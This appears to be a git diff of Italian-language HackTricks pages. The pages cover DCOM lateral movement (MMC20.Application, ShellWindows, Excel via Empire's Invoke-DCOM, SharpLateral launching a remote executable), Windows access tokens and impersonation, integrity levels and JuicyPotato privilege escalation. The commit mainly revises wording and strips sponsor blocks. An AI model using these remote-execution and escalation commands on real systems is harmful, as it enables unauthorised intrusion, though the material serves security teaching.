Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,19 +15,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## MMC20.Application
|
||||
|
||||
**Per ulteriori informazioni su questa tecnica, controlla il post originale da [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
|
||||
|
||||
Il modello a oggetti dei componenti distribuiti (DCOM) presenta una capacità interessante per interazioni basate su rete con oggetti. Microsoft fornisce documentazione completa sia per DCOM che per il modello a oggetti dei componenti (COM), accessibile [qui per DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) e [qui per COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Un elenco di applicazioni DCOM può essere recuperato utilizzando il comando PowerShell:
|
||||
Gli oggetti del Modello di Oggetti a Componenti Distribuiti (DCOM) presentano una capacità interessante per interazioni basate su rete con oggetti. Microsoft fornisce documentazione completa sia per DCOM che per il Modello di Oggetti a Componenti (COM), accessibile [qui per DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) e [qui per COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Un elenco di applicazioni DCOM può essere recuperato utilizzando il comando PowerShell:
|
||||
```bash
|
||||
Get-CimInstance Win32_DCOMApplication
|
||||
```
|
||||
|
@ -57,14 +49,14 @@ ls \\10.10.10.10\c$\Users
|
|||
|
||||
**Per ulteriori informazioni su questa tecnica, controlla il post originale [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
|
||||
|
||||
L'oggetto **MMC20.Application** è stato identificato come privo di "LaunchPermissions" espliciti, impostando permessi che consentono l'accesso agli Amministratori. Per ulteriori dettagli, è possibile esplorare un thread [qui](https://twitter.com/tiraniddo/status/817532039771525120), e si raccomanda l'uso di [@tiraniddo](https://twitter.com/tiraniddo)’s OleView .NET per filtrare oggetti senza esplicito Launch Permission.
|
||||
L'oggetto **MMC20.Application** è stato identificato come privo di "LaunchPermissions" espliciti, impostando di default permessi che consentono l'accesso agli Amministratori. Per ulteriori dettagli, è possibile esplorare un thread [qui](https://twitter.com/tiraniddo/status/817532039771525120), e si raccomanda l'uso di [@tiraniddo](https://twitter.com/tiraniddo)’s OleView .NET per filtrare oggetti senza esplicito Permesso di Avvio.
|
||||
|
||||
Due oggetti specifici, `ShellBrowserWindow` e `ShellWindows`, sono stati evidenziati a causa della loro mancanza di espliciti Launch Permissions. L'assenza di una voce di registro `LaunchPermission` sotto `HKCR:\AppID\{guid}` indica che non ci sono permessi espliciti.
|
||||
Due oggetti specifici, `ShellBrowserWindow` e `ShellWindows`, sono stati evidenziati a causa della loro mancanza di Permessi di Avvio espliciti. L'assenza di una voce di registro `LaunchPermission` sotto `HKCR:\AppID\{guid}` indica che non ci sono permessi espliciti.
|
||||
|
||||
### ShellWindows
|
||||
Per `ShellWindows`, che manca di un ProgID, i metodi .NET `Type.GetTypeFromCLSID` e `Activator.CreateInstance` facilitano l'istanza dell'oggetto utilizzando il suo AppID. Questo processo sfrutta OleView .NET per recuperare il CLSID per `ShellWindows`. Una volta istanziato, è possibile interagire tramite il metodo `WindowsShell.Item`, portando a invocazioni di metodi come `Document.Application.ShellExecute`.
|
||||
|
||||
Esempi di comandi PowerShell sono stati forniti per istanziare l'oggetto ed eseguire comandi da remoto:
|
||||
Esempi di comandi PowerShell sono stati forniti per istanziare l'oggetto ed eseguire comandi in remoto:
|
||||
```powershell
|
||||
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
|
||||
$obj = [System.Activator]::CreateInstance($com)
|
||||
|
@ -75,7 +67,7 @@ $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\sy
|
|||
|
||||
Il movimento laterale può essere ottenuto sfruttando gli oggetti DCOM di Excel. Per informazioni dettagliate, è consigliabile leggere la discussione su come sfruttare Excel DDE per il movimento laterale tramite DCOM sul [blog di Cybereason](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
|
||||
|
||||
Il progetto Empire fornisce uno script PowerShell, che dimostra l'utilizzo di Excel per l'esecuzione remota di codice (RCE) manipolando oggetti DCOM. Di seguito sono riportati frammenti dello script disponibile nel [repository GitHub di Empire](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), che mostrano diversi metodi per abusare di Excel per RCE:
|
||||
Il progetto Empire fornisce uno script PowerShell, che dimostra l'utilizzo di Excel per l'esecuzione remota di codice (RCE) manipolando gli oggetti DCOM. Di seguito sono riportati frammenti dello script disponibile nel [repository GitHub di Empire](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), che mostrano diversi metodi per abusare di Excel per RCE:
|
||||
```powershell
|
||||
# Detection of Office version
|
||||
elseif ($Method -Match "DetectOffice") {
|
||||
|
@ -120,12 +112,6 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
|||
* [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
|
||||
* [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -136,7 +122,7 @@ Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,23 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere le assunzioni di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Access Tokens
|
||||
|
||||
Ogni **utente connesso** al sistema **detiene un token di accesso con informazioni di sicurezza** per quella sessione di accesso. Il sistema crea un token di accesso quando l'utente accede. **Ogni processo eseguito** per conto dell'utente **ha una copia del token di accesso**. Il token identifica l'utente, i gruppi dell'utente e i privilegi dell'utente. Un token contiene anche un SID di accesso (Identificatore di Sicurezza) che identifica l'attuale sessione di accesso.
|
||||
Ogni **utente connesso** al sistema **possiede un token di accesso con informazioni di sicurezza** per quella sessione di accesso. Il sistema crea un token di accesso quando l'utente effettua il login. **Ogni processo eseguito** per conto dell'utente **ha una copia del token di accesso**. Il token identifica l'utente, i gruppi dell'utente e i privilegi dell'utente. Un token contiene anche un SID di accesso (Security Identifier) che identifica l'attuale sessione di accesso.
|
||||
|
||||
Puoi vedere queste informazioni eseguendo `whoami /all`
|
||||
```
|
||||
|
@ -77,13 +64,13 @@ SeUndockPrivilege Remove computer from docking station Disabled
|
|||
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
|
||||
SeTimeZonePrivilege Change the time zone Disabled
|
||||
```
|
||||
or using _Process Explorer_ from Sysinternals (select process and access"Security" tab):
|
||||
or usando _Process Explorer_ di Sysinternals (seleziona il processo e accedi alla scheda "Sicurezza"):
|
||||
|
||||
![](<../../.gitbook/assets/image (772).png>)
|
||||
|
||||
### Amministratore locale
|
||||
|
||||
Quando un amministratore locale accede, **vengono creati due token di accesso**: uno con diritti di amministratore e l'altro con diritti normali. **Per impostazione predefinita**, quando questo utente esegue un processo, viene utilizzato quello con diritti **regolari** (non amministratore). Quando questo utente cerca di **eseguire** qualsiasi cosa **come amministratore** ("Esegui come amministratore" ad esempio), verrà utilizzato il **UAC** per chiedere il permesso.\
|
||||
Quando un amministratore locale accede, **vengono creati due token di accesso**: uno con diritti di amministratore e l'altro con diritti normali. **Per impostazione predefinita**, quando questo utente esegue un processo, viene utilizzato quello con diritti **regolari** (non amministratore). Quando questo utente cerca di **eseguire** qualsiasi cosa **come amministratore** ("Esegui come amministratore", ad esempio), verrà utilizzato il **UAC** per chiedere il permesso.\
|
||||
Se vuoi [**saperne di più sul UAC leggi questa pagina**](../authentication-credentials-uac-and-efs/#uac)**.**
|
||||
|
||||
### Impersonificazione delle credenziali utente
|
||||
|
@ -97,22 +84,22 @@ Puoi avviare un processo che **utilizza credenziali diverse per accedere ai serv
|
|||
```
|
||||
runas /user:domain\username /netonly cmd.exe
|
||||
```
|
||||
Questo è utile se hai credenziali utili per accedere a oggetti nella rete, ma quelle credenziali non sono valide all'interno dell'host attuale poiché saranno utilizzate solo nella rete (nell'host attuale verranno utilizzati i privilegi dell'utente corrente).
|
||||
Questo è utile se hai credenziali utili per accedere a oggetti nella rete, ma quelle credenziali non sono valide all'interno dell'host attuale poiché verranno utilizzate solo nella rete (nell'host attuale verranno utilizzati i privilegi dell'utente corrente).
|
||||
|
||||
### Tipi di token
|
||||
|
||||
Ci sono due tipi di token disponibili:
|
||||
|
||||
* **Token Primario**: Serve come rappresentazione delle credenziali di sicurezza di un processo. La creazione e l'associazione di token primari con i processi sono azioni che richiedono privilegi elevati, sottolineando il principio di separazione dei privilegi. Tipicamente, un servizio di autenticazione è responsabile della creazione del token, mentre un servizio di accesso gestisce la sua associazione con la shell del sistema operativo dell'utente. Vale la pena notare che i processi ereditano il token primario del loro processo padre al momento della creazione.
|
||||
* **Token Primario**: Serve come rappresentazione delle credenziali di sicurezza di un processo. La creazione e l'associazione di token primari con i processi sono azioni che richiedono privilegi elevati, sottolineando il principio di separazione dei privilegi. Tipicamente, un servizio di autenticazione è responsabile della creazione del token, mentre un servizio di accesso gestisce la sua associazione con la shell del sistema operativo dell'utente. È importante notare che i processi ereditano il token primario del loro processo padre al momento della creazione.
|
||||
* **Token di Impersonificazione**: Consente a un'applicazione server di adottare temporaneamente l'identità del cliente per accedere a oggetti sicuri. Questo meccanismo è stratificato in quattro livelli di operazione:
|
||||
* **Anonimo**: Concede accesso al server simile a quello di un utente non identificato.
|
||||
* **Identificazione**: Consente al server di verificare l'identità del cliente senza utilizzarla per l'accesso agli oggetti.
|
||||
* **Impersonificazione**: Consente al server di operare sotto l'identità del cliente.
|
||||
* **Impersonificazione**: Abilita il server a operare sotto l'identità del cliente.
|
||||
* **Delegazione**: Simile all'Impersonificazione, ma include la possibilità di estendere questa assunzione di identità a sistemi remoti con cui il server interagisce, garantendo la preservazione delle credenziali.
|
||||
|
||||
#### Token di Impersonificazione
|
||||
|
||||
Utilizzando il modulo _**incognito**_ di metasploit, se hai abbastanza privilegi, puoi facilmente **elencare** e **impersonare** altri **token**. Questo potrebbe essere utile per eseguire **azioni come se fossi l'altro utente**. Potresti anche **escalare i privilegi** con questa tecnica.
|
||||
Utilizzando il modulo _**incognito**_ di metasploit, se hai abbastanza privilegi, puoi facilmente **elencare** e **impersonificare** altri **token**. Questo potrebbe essere utile per eseguire **azioni come se fossi l'altro utente**. Potresti anche **escalare i privilegi** con questa tecnica.
|
||||
|
||||
### Privilegi del Token
|
||||
|
||||
|
@ -128,21 +115,10 @@ Dai un'occhiata a [**tutti i possibili privilegi del token e alcune definizioni
|
|||
|
||||
Scopri di più sui token in questi tutorial: [https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa) e [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,28 +15,14 @@ Impara e pratica il Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere le assunzioni di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Livelli di Integrità
|
||||
|
||||
In Windows Vista e versioni successive, tutti gli elementi protetti hanno un'etichetta di **livello di integrità**. Questa configurazione assegna principalmente un livello di integrità "medio" a file e chiavi di registro, tranne per alcune cartelle e file a cui Internet Explorer 7 può scrivere a un livello di integrità basso. Il comportamento predefinito è che i processi avviati da utenti standard abbiano un livello di integrità medio, mentre i servizi operano tipicamente a un livello di integrità di sistema. Un'etichetta di alta integrità protegge la directory radice.
|
||||
In Windows Vista e versioni successive, tutti gli elementi protetti hanno un tag di **livello di integrità**. Questa configurazione assegna principalmente un livello di integrità "medio" a file e chiavi di registro, tranne per alcune cartelle e file a cui Internet Explorer 7 può scrivere a un livello di integrità basso. Il comportamento predefinito è che i processi avviati da utenti standard abbiano un livello di integrità medio, mentre i servizi operano tipicamente a un livello di integrità di sistema. Un'etichetta di alta integrità protegge la directory radice.
|
||||
|
||||
Una regola chiave è che gli oggetti non possono essere modificati da processi con un livello di integrità inferiore a quello dell'oggetto. I livelli di integrità sono:
|
||||
Una regola fondamentale è che gli oggetti non possono essere modificati da processi con un livello di integrità inferiore a quello dell'oggetto. I livelli di integrità sono:
|
||||
|
||||
* **Non attendibile**: Questo livello è per processi con accessi anonimi. %%%Esempio: Chrome%%%
|
||||
* **Basso**: Principalmente per interazioni su internet, specialmente nella Modalità Protetta di Internet Explorer, che influisce su file e processi associati, e su alcune cartelle come la **Cartella Temporanea di Internet**. I processi a bassa integrità affrontano restrizioni significative, inclusa l'assenza di accesso in scrittura al registro e accesso limitato in scrittura al profilo utente.
|
||||
* **Basso**: Principalmente per interazioni internet, specialmente nella Modalità Protetta di Internet Explorer, che influisce su file e processi associati, e su alcune cartelle come la **Cartella Temporanea di Internet**. I processi a bassa integrità affrontano restrizioni significative, inclusa l'assenza di accesso in scrittura al registro e accesso limitato in scrittura al profilo utente.
|
||||
* **Medio**: Il livello predefinito per la maggior parte delle attività, assegnato a utenti standard e oggetti senza livelli di integrità specifici. Anche i membri del gruppo Amministratori operano a questo livello per impostazione predefinita.
|
||||
* **Alto**: Riservato agli amministratori, consentendo loro di modificare oggetti a livelli di integrità inferiori, inclusi quelli allo stesso livello alto.
|
||||
* **Sistema**: Il livello operativo più alto per il kernel di Windows e i servizi core, fuori portata anche per gli amministratori, garantendo la protezione delle funzioni vitali del sistema.
|
||||
|
@ -79,7 +65,7 @@ NT AUTHORITY\SERVICE:(I)(M,DC)
|
|||
NT AUTHORITY\BATCH:(I)(M,DC)
|
||||
Mandatory Label\High Mandatory Level:(NW)
|
||||
```
|
||||
Questo è il punto in cui le cose diventano interessanti. Puoi vedere che l'utente `DESKTOP-IDJHTKP\user` ha **privilegi COMPLETI** sul file (infatti questo era l'utente che ha creato il file), tuttavia, a causa del livello di integrità minimo implementato, non sarà in grado di modificare il file a meno che non stia eseguendo all'interno di un High Integrity Level (nota che sarà in grado di leggerlo):
|
||||
Questo è il punto in cui le cose diventano interessanti. Puoi vedere che l'utente `DESKTOP-IDJHTKP\user` ha **privilegi COMPLETI** sul file (infatti, questo era l'utente che ha creato il file), tuttavia, a causa del livello di integrità minimo implementato, non sarà in grado di modificare il file a meno che non stia eseguendo all'interno di un High Integrity Level (nota che sarà in grado di leggerlo):
|
||||
```
|
||||
echo 1234 > asd.txt
|
||||
Access is denied.
|
||||
|
@ -104,41 +90,14 @@ APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
|
|||
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APP PACKAGES:(I)(RX)
|
||||
Mandatory Label\Low Mandatory Level:(NW)
|
||||
```
|
||||
Ora, quando eseguo `cmd-low.exe`, esso **viene eseguito con un livello di integrità basso** invece di uno medio:
|
||||
Ora, quando eseguo `cmd-low.exe`, esso **verrà eseguito con un livello di integrità basso** invece di uno medio:
|
||||
|
||||
![](<../../.gitbook/assets/image (313).png>)
|
||||
|
||||
Per i curiosi, se assegni un livello di integrità alto a un binario (`icacls C:\Windows\System32\cmd-high.exe /setintegritylevel high`), non verrà eseguito automaticamente con un livello di integrità alto (se lo invochi da un livello di integrità medio --per impostazione predefinita-- verrà eseguito con un livello di integrità medio).
|
||||
Per le persone curiose, se assegni un alto livello di integrità a un binario (`icacls C:\Windows\System32\cmd-high.exe /setintegritylevel high`), non verrà eseguito automaticamente con un alto livello di integrità (se lo invochi da un livello di integrità medio --per impostazione predefinita-- verrà eseguito con un livello di integrità medio).
|
||||
|
||||
### Livelli di Integrità nei Processi
|
||||
|
||||
Non tutti i file e le cartelle hanno un livello di integrità minimo, **ma tutti i processi vengono eseguiti con un livello di integrità**. E simile a quanto accade con il file system, **se un processo vuole scrivere all'interno di un altro processo deve avere almeno lo stesso livello di integrità**. Questo significa che un processo con livello di integrità basso non può aprire un handle con accesso completo a un processo con livello di integrità medio.
|
||||
Non tutti i file e le cartelle hanno un livello di integrità minimo, **ma tutti i processi vengono eseguiti con un livello di integrità**. E simile a quanto accaduto con il file system, **se un processo vuole scrivere all'interno di un altro processo deve avere almeno lo stesso livello di integrità**. Questo significa che un processo con un livello di integrità basso non può aprire un handle con accesso completo a un processo con livello di integrità medio.
|
||||
|
||||
A causa delle restrizioni commentate in questa e nella sezione precedente, da un punto di vista della sicurezza, è sempre **raccomandato eseguire un processo al livello di integrità più basso possibile**.
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supporta HackTricks</summary>
|
||||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,20 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il takeover degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
{% hint style="warning" %}
|
||||
**JuicyPotato non funziona** su Windows Server 2019 e Windows 10 build 1809 e successivi. Tuttavia, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) possono essere utilizzati per **sfruttare gli stessi privilegi e ottenere accesso a livello `NT AUTHORITY\SYSTEM`**. _**Controlla:**_
|
||||
{% endhint %}
|
||||
|
@ -57,7 +43,7 @@ Abbiamo scoperto che, oltre a `BITS`, ci sono diversi server COM che possiamo sf
|
|||
|
||||
1. essere istanziabili dall'utente corrente, normalmente un "utente di servizio" che ha privilegi di impersonificazione
|
||||
2. implementare l'interfaccia `IMarshal`
|
||||
3. essere eseguiti come un utente elevato (SYSTEM, Amministratore, …)
|
||||
3. essere eseguiti come un utente elevato (SYSTEM, Administrator, …)
|
||||
|
||||
Dopo alcuni test abbiamo ottenuto e testato un elenco esteso di [CLSID interessanti](http://ohpe.it/juicy-potato/CLSID/) su diverse versioni di Windows.
|
||||
|
||||
|
@ -66,7 +52,7 @@ Dopo alcuni test abbiamo ottenuto e testato un elenco esteso di [CLSID interessa
|
|||
JuicyPotato ti consente di:
|
||||
|
||||
* **Target CLSID** _scegli qualsiasi CLSID tu voglia._ [_Qui_](http://ohpe.it/juicy-potato/CLSID/) _puoi trovare l'elenco organizzato per OS._
|
||||
* **COM Listening port** _definisci la porta di ascolto COM che preferisci (anziché il 6666 hardcoded)_
|
||||
* **COM Listening port** _definisci la porta di ascolto COM che preferisci (invece della hardcoded 6666)_
|
||||
* **COM Listening IP address** _collega il server a qualsiasi IP_
|
||||
* **Process creation mode** _a seconda dei privilegi dell'utente impersonato puoi scegliere tra:_
|
||||
* `CreateProcessWithToken` (richiede `SeImpersonate`)
|
||||
|
@ -152,21 +138,10 @@ Poi scarica [test\_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/
|
|||
|
||||
* [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -174,7 +149,7 @@ Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
